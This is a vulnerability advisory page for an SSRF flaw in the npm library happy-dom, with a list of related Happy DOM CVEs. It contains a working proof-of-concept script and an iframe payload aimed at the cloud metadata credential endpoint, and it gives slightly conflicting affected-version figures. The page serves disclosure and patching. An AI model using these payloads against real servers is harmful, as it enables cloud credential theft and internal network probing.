CVE-2026-118660: Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing or elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Published Oct 28, 2026
Affected packages
happy-dom
- Ecosystem
- npm
- Affected
- <= 20.14.6
- Fixed in
- 21.0.0
- Check
npm ls happy-dom
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrfBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from falseOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Credited to TharVid.
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8
- https://github.com/capricorn86/happy-dom/pull/2502
- https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0
- https://github.com/advisories/GHSA-c8p4-j97h-3vg8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-118661
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
medium6.5Oct 28, 2026CVE-2026-115895
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
high8.8Oct 23, 2026CVE-2026-34226
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
high7.5Mar 29, 2026CVE-2026-33943
Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code
high8.8Mar 26, 2026CVE-2025-62410
happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript
critical9.4Oct 15, 2025CVE-2025-61927
Happy DOM: VM Context Escape can lead to Remote Code Execution
critical9.3Oct 10, 2025
